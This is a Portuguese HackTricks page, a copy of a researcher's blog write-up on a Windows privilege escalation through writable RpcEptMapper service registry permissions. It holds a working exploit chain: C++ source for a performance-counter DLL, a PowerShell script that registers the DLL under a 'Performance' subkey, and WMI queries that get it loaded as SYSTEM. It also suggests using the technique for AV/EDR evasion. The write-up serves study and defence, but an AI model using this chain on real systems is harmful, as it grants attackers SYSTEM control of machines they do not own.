hacktricks/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md

25 KiB

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Informação copiada de https://itm4n.github.io/windows-registry-rpceptmapper-eop/

De acordo com a saída do script, o usuário atual tem algumas permissões de escrita em duas chaves de registro:

  • HKLM\SYSTEM\CurrentControlSet\Services\Dnscache
  • HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper

Vamos verificar manualmente as permissões do serviço RpcEptMapper usando a GUI regedit. Uma coisa que eu realmente gosto na janela Configurações de Segurança Avançadas é a aba Permissões Efetivas. Você pode escolher qualquer nome de usuário ou grupo e ver imediatamente as permissões efetivas que são concedidas a esse principal sem a necessidade de inspecionar todos os ACEs separadamente. A captura de tela a seguir mostra o resultado para a conta de baixo privilégio lab-user.

A maioria das permissões são padrão (por exemplo: Query Value), mas uma em particular se destaca: Create Subkey. O nome genérico correspondente a essa permissão é AppendData/AddSubdirectory, que é exatamente o que foi relatado pelo script:

Name              : RpcEptMapper
ImagePath         : C:\Windows\system32\svchost.exe -k RPCSS
User              : NT AUTHORITY\NetworkService
ModifiablePath    : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper}
IdentityReference : NT AUTHORITY\Authenticated Users
Permissions       : {ReadControl, AppendData/AddSubdirectory, ReadData/ListDirectory}
Status            : Running
UserCanStart      : True
UserCanRestart    : False

Name              : RpcEptMapper
ImagePath         : C:\Windows\system32\svchost.exe -k RPCSS
User              : NT AUTHORITY\NetworkService
ModifiablePath    : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper}
IdentityReference : BUILTIN\Users
Permissions       : {WriteExtendedAttributes, AppendData/AddSubdirectory, ReadData/ListDirectory}
Status            : Running
UserCanStart      : True
UserCanRestart    : False

O que isso significa exatamente? Significa que não podemos simplesmente modificar o valor ImagePath, por exemplo. Para fazer isso, precisaríamos da permissão WriteData/AddFile. Em vez disso, só podemos criar uma nova subchave.

Isso significa que foi de fato um falso positivo? Certamente que não. Vamos começar a diversão!

RTFM

Neste ponto, sabemos que podemos criar subchaves arbitrárias em HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper, mas não podemos modificar subchaves e valores existentes. As subchaves já existentes são Parameters e Security, que são bastante comuns para serviços do Windows.

Portanto, a primeira pergunta que me veio à mente foi: existe alguma outra subchave predefinida - como Parameters e Security - que poderíamos aproveitar para efetivamente modificar a configuração do serviço e alterar seu comportamento de alguma forma?

Para responder a essa pergunta, meu plano inicial era enumerar todas as chaves existentes e tentar identificar um padrão. A ideia era ver quais subchaves são significativas para a configuração de um serviço. Comecei a pensar em como poderia implementar isso em PowerShell e depois ordenar o resultado. No entanto, antes de fazer isso, me perguntei se essa estrutura de registro já estava documentada. Então, pesquisei algo como windows service configuration registry site:microsoft.com e aqui está o primeiro resultado que apareceu.

Parece promissor, não é? À primeira vista, a documentação não parecia ser exaustiva e completa. Considerando o título, eu esperava ver algum tipo de estrutura de árvore detalhando todas as subchaves e valores que definem a configuração de um serviço, mas claramente não estava lá.

Ainda assim, dei uma olhada rápida em cada parágrafo. E rapidamente identifiquei as palavras-chave "Performance" e "DLL". Sob o subtítulo "Performance", podemos ler o seguinte:

Performance: Uma chave que especifica informações para monitoramento opcional de desempenho. Os valores sob esta chave especificam o nome da DLL de desempenho do driver e os nomes de certas funções exportadas nessa DLL. Você pode adicionar entradas de valor a esta subchave usando entradas AddReg no arquivo INF do driver.

De acordo com este curto parágrafo, teoricamente, pode-se registrar uma DLL em um serviço de driver para monitorar seu desempenho graças à subchave Performance. OK, isso é realmente interessante! Esta chave não existe por padrão para o serviço RpcEptMapper, então parece ser exatamente o que precisamos. Há um pequeno problema, no entanto, este serviço definitivamente não é um serviço de driver. De qualquer forma, ainda vale a pena tentar, mas precisamos de mais informações sobre esse recurso de "Monitoramento de Desempenho" primeiro.

Nota: no Windows, cada serviço tem um Type dado. Um tipo de serviço pode ser um dos seguintes valores: SERVICE_KERNEL_DRIVER (1), SERVICE_FILE_SYSTEM_DRIVER (2), SERVICE_ADAPTER (4), SERVICE_RECOGNIZER_DRIVER (8), SERVICE_WIN32_OWN_PROCESS (16), SERVICE_WIN32_SHARE_PROCESS (32) ou SERVICE_INTERACTIVE_PROCESS (256).

Após algumas pesquisas no Google, encontrei este recurso na documentação: Criando a Chave de Desempenho da Aplicação.

Primeiro, há uma bela estrutura de árvore que lista todas as chaves e valores que temos que criar. Em seguida, a descrição fornece as seguintes informações chave:

  • O valor Library pode conter um nome de DLL ou um caminho completo para uma DLL.
  • Os valores Open, Collect e Close permitem especificar os nomes das funções que devem ser exportadas pela DLL.
  • O tipo de dados desses valores é REG_SZ (ou até REG_EXPAND_SZ para o valor Library).

Se você seguir os links incluídos neste recurso, até encontrará o protótipo dessas funções junto com alguns exemplos de código: Implementando OpenPerformanceData.

DWORD APIENTRY OpenPerfData(LPWSTR pContext);
DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);
DWORD APIENTRY ClosePerfData();

Escrevendo um Prova de Conceito

Graças a todos os fragmentos que consegui coletar ao longo da documentação, escrever uma DLL simples de Prova de Conceito deve ser bastante direto. Mas ainda assim, precisamos de um plano!

Quando preciso explorar algum tipo de vulnerabilidade de hijacking de DLL, geralmente começo com uma função auxiliar de log simples e personalizada. O propósito desta função é escrever algumas informações-chave em um arquivo sempre que for invocada. Normalmente, registro o PID do processo atual e do processo pai, o nome do usuário que executa o processo e a linha de comando correspondente. Também registro o nome da função que desencadeou esse evento de log. Dessa forma, sei qual parte do código foi executada.

Nos meus outros artigos, sempre pulei a parte de desenvolvimento porque assumi que era mais ou menos óbvio. Mas, também quero que meus posts no blog sejam amigáveis para iniciantes, então há uma contradição. Vou remediar essa situação aqui detalhando o processo. Então, vamos iniciar o Visual Studio e criar um novo projeto "C++ Console App". Note que eu poderia ter criado um projeto "Dynamic-Link Library (DLL)" mas acho na verdade mais fácil começar com um aplicativo de console.

Aqui está o código inicial gerado pelo Visual Studio:

#include <iostream>

int main()
{
std::cout << "Hello World!\n";
}

Claro, isso não é o que queremos. Queremos criar uma DLL, não um EXE, então temos que substituir a função main por DllMain. Você pode encontrar um código esqueleto para esta função na documentação: Inicializar uma DLL.

#include <Windows.h>

extern "C" BOOL WINAPI DllMain(HINSTANCE const instance, DWORD const reason, LPVOID const reserved)
{
switch (reason)
{
case DLL_PROCESS_ATTACH:
Log(L"DllMain"); // See log helper function below
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

Em paralelo, também precisamos alterar as configurações do projeto para especificar que o arquivo compilado de saída deve ser uma DLL em vez de um EXE. Para fazer isso, você pode abrir as propriedades do projeto e, na seção "General", selecionar "Dynamic Library (.dll)" como o "Configuration Type". Logo abaixo da barra de título, você também pode selecionar "All Configurations" e "All Platforms" para que essa configuração seja aplicada globalmente.

Em seguida, adiciono minha função de ajuda de log personalizada.

#include <Lmcons.h> // UNLEN + GetUserName
#include <tlhelp32.h> // CreateToolhelp32Snapshot()
#include <strsafe.h>

void Log(LPCWSTR pwszCallingFrom)
{
LPWSTR pwszBuffer, pwszCommandLine;
WCHAR wszUsername[UNLEN + 1] = { 0 };
SYSTEMTIME st = { 0 };
HANDLE hToolhelpSnapshot;
PROCESSENTRY32 stProcessEntry = { 0 };
DWORD dwPcbBuffer = UNLEN, dwBytesWritten = 0, dwProcessId = 0, dwParentProcessId = 0, dwBufSize = 0;
BOOL bResult = FALSE;

// Get the command line of the current process
pwszCommandLine = GetCommandLine();

// Get the name of the process owner
GetUserName(wszUsername, &dwPcbBuffer);

// Get the PID of the current process
dwProcessId = GetCurrentProcessId();

// Get the PID of the parent process
hToolhelpSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
stProcessEntry.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hToolhelpSnapshot, &stProcessEntry)) {
do {
if (stProcessEntry.th32ProcessID == dwProcessId) {
dwParentProcessId = stProcessEntry.th32ParentProcessID;
break;
}
} while (Process32Next(hToolhelpSnapshot, &stProcessEntry));
}
CloseHandle(hToolhelpSnapshot);

// Get the current date and time
GetLocalTime(&st);

// Prepare the output string and log the result
dwBufSize = 4096 * sizeof(WCHAR);
pwszBuffer = (LPWSTR)malloc(dwBufSize);
if (pwszBuffer)
{
StringCchPrintf(pwszBuffer, dwBufSize, L"[%.2u:%.2u:%.2u] - PID=%d - PPID=%d - USER='%s' - CMD='%s' - METHOD='%s'\r\n",
st.wHour,
st.wMinute,
st.wSecond,
dwProcessId,
dwParentProcessId,
wszUsername,
pwszCommandLine,
pwszCallingFrom
);

LogToFile(L"C:\\LOGS\\RpcEptMapperPoc.log", pwszBuffer);

free(pwszBuffer);
}
}

Então, podemos preencher a DLL com as três funções que vimos na documentação. A documentação também afirma que elas devem retornar ERROR_SUCCESS se forem bem-sucedidas.

DWORD APIENTRY OpenPerfData(LPWSTR pContext)
{
Log(L"OpenPerfData");
return ERROR_SUCCESS;
}

DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned)
{
Log(L"CollectPerfData");
return ERROR_SUCCESS;
}

DWORD APIENTRY ClosePerfData()
{
Log(L"ClosePerfData");
return ERROR_SUCCESS;
}
Ok, o projeto agora está devidamente configurado, `DllMain` está implementado, temos uma função auxiliar de log e as três funções necessárias. No entanto, falta uma última coisa. Se compilarmos este código, `OpenPerfData`, `CollectPerfData` e `ClosePerfData` estarão disponíveis apenas como funções internas, então precisamos **exportá-las**. Isso pode ser alcançado de várias maneiras. Por exemplo, você poderia criar um arquivo [DEF](https://docs.microsoft.com/en-us/cpp/build/exporting-from-a-dll-using-def-files) e depois configurar o projeto adequadamente. No entanto, prefiro usar a palavra-chave `__declspec(dllexport)` ([doc](https://docs.microsoft.com/en-us/cpp/build/exporting-from-a-dll-using-declspec-dllexport)), especialmente para um projeto pequeno como este. Dessa forma, só temos que declarar as três funções no início do código-fonte.
extern "C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);
extern "C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);
extern "C" __declspec(dllexport) DWORD APIENTRY ClosePerfData();

Se você quiser ver o código completo, eu o enviei aqui.

Finalmente, podemos selecionar Release/x64 e "Compilar a solução". Isso produzirá nosso arquivo DLL: .\DllRpcEndpointMapperPoc\x64\Release\DllRpcEndpointMapperPoc.dll.

Testando o PoC

Antes de prosseguir, eu sempre me certifico de que meu payload está funcionando corretamente, testando-o separadamente. O pouco tempo gasto aqui pode economizar muito tempo depois, evitando que você entre em um beco sem saída durante uma hipotética fase de depuração. Para fazer isso, podemos simplesmente usar rundll32.exe e passar o nome da DLL e o nome de uma função exportada como parâmetros.

C:\Users\lab-user\Downloads\>rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData

Ótimo, o arquivo de log foi criado e, se o abrirmos, podemos ver duas entradas. A primeira foi escrita quando a DLL foi carregada pelo rundll32.exe. A segunda foi escrita quando OpenPerfData foi chamado. Parece bom! :slightly_smiling_face:

[21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32  DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='DllMain'
[21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32  DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='OpenPerfData'

Agora, podemos nos concentrar na vulnerabilidade em si e começar criando a chave de registro e os valores necessários. Podemos fazer isso manualmente usando reg.exe / regedit.exe ou programaticamente com um script. Como já passei pelos passos manuais durante minha pesquisa inicial, mostrarei uma maneira mais limpa de fazer a mesma coisa com um script PowerShell. Além disso, criar chaves e valores de registro no PowerShell é tão fácil quanto chamar New-Item e New-ItemProperty, não é mesmo? :thinking:

O acesso solicitado ao registro não é permitido… Hmm, ok… Parece que não será tão fácil, afinal de contas. :stuck_out_tongue:

Eu não investiguei realmente esse problema, mas meu palpite é que, quando chamamos New-Item, o powershell.exe na verdade tenta abrir a chave de registro pai com algumas flags que correspondem a permissões que não temos.

De qualquer forma, se os cmdlets integrados não fizerem o trabalho, podemos sempre descer um nível e invocar funções DotNet diretamente. De fato, chaves de registro também podem ser criadas com o seguinte código no PowerShell.

[Microsoft.Win32.Registry]::LocalMachine.CreateSubKey("SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance")
Aqui vamos nós! No final, montei o seguinte script para criar a chave e os valores apropriados, aguardar a entrada do usuário e, finalmente, terminar limpando tudo.
$ServiceKey = "SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance"

Write-Host "[*] Create 'Performance' subkey"
[void] [Microsoft.Win32.Registry]::LocalMachine.CreateSubKey($ServiceKey)
Write-Host "[*] Create 'Library' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Value "$($pwd)\DllRpcEndpointMapperPoc.dll" -PropertyType "String" -Force | Out-Null
Write-Host "[*] Create 'Open' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Value "OpenPerfData" -PropertyType "String" -Force | Out-Null
Write-Host "[*] Create 'Collect' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Value "CollectPerfData" -PropertyType "String" -Force | Out-Null
Write-Host "[*] Create 'Close' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Value "ClosePerfData" -PropertyType "String" -Force | Out-Null

Read-Host -Prompt "Press any key to continue"

Write-Host "[*] Cleanup"
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Force
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Force
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Force
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Force
[Microsoft.Win32.Registry]::LocalMachine.DeleteSubKey($ServiceKey)

O último passo agora, como enganamos o serviço RPC Endpoint Mapper para carregar nossa DLL de Performance? Infelizmente, não acompanhei todas as diferentes coisas que tentei. Teria sido realmente interessante, no contexto deste post do blog, destacar como a pesquisa pode ser às vezes tediosa e demorada. De qualquer forma, uma coisa que descobri ao longo do caminho é que você pode consultar Contadores de Desempenho usando WMI (Windows Management Instrumentation), o que não é tão surpreendente afinal. Mais informações aqui: Tipos de Contador de Desempenho WMI.

Os tipos de contadores aparecem como o qualificador CounterType para propriedades nas classes Win32_PerfRawData , e como o qualificador CookingType para propriedades nas classes Win32_PerfFormattedData .

Então, primeiramente enumerei as classes WMI relacionadas a Dados de Desempenho no PowerShell usando o seguinte comando.

Get-WmiObject -List | Where-Object { $_.Name -Like "Win32_Perf*" }

E, vi que meu arquivo de log foi criado quase imediatamente! Aqui está o conteúdo do arquivo.

[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='DllMain'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='OpenPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'

Esperava conseguir execução arbitrária de código como NETWORK SERVICE no contexto do serviço RpcEptMapper no máximo, mas parece que obtive um resultado muito melhor do que o antecipado. Na verdade, consegui execução arbitrária de código no contexto do próprio serviço WMI, que é executado como LOCAL SYSTEM. Incrível, não é?! :sunglasses:

Nota: se eu tivesse conseguido execução arbitrária de código como NETWORK SERVICE, estaria apenas a um token de distância da conta LOCAL SYSTEM graças ao truque que foi demonstrado por James Forshaw alguns meses atrás neste post do blog: Sharing a Logon Session a Little Too Much.

Também tentei obter cada classe WMI separadamente e observei exatamente o mesmo resultado.

Get-WmiObject Win32_Perf
Get-WmiObject Win32_PerfRawData
Get-WmiObject Win32_PerfFormattedData

Conclusão

Não sei como essa vulnerabilidade passou despercebida por tanto tempo. Uma explicação é que outras ferramentas provavelmente procuravam por acesso total de escrita no registro, enquanto que AppendData/AddSubdirectory era na verdade suficiente neste caso. Quanto à "má configuração" em si, eu assumiria que a chave de registro foi definida dessa maneira por um propósito específico, embora eu não consiga pensar em um cenário concreto no qual os usuários teriam qualquer tipo de permissão para modificar a configuração de um serviço.

Decidi escrever sobre essa vulnerabilidade publicamente por dois motivos. O primeiro é que eu a tornei pública - sem inicialmente perceber - no dia em que atualizei meu script PrivescCheck com a função GetModfiableRegistryPath, o que foi há vários meses. O segundo é que o impacto é baixo. Requer acesso local e afeta apenas versões antigas do Windows que não são mais suportadas (a menos que você tenha comprado o Suporte Estendido...). Neste ponto, se você ainda está usando Windows 7 / Server 2008 R2 sem isolar essas máquinas adequadamente na rede primeiro, então impedir que um atacante obtenha privilégios de SYSTEM é provavelmente o menor dos seus problemas.

Além do lado anedótico dessa vulnerabilidade de escalonamento de privilégios, acho que essa configuração de registro "Perfomance" abre oportunidades realmente interessantes para pós-exploração, movimento lateral e evasão de AV/EDR. Já tenho alguns cenários particulares em mente, mas ainda não testei nenhum deles. Continuará?...

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: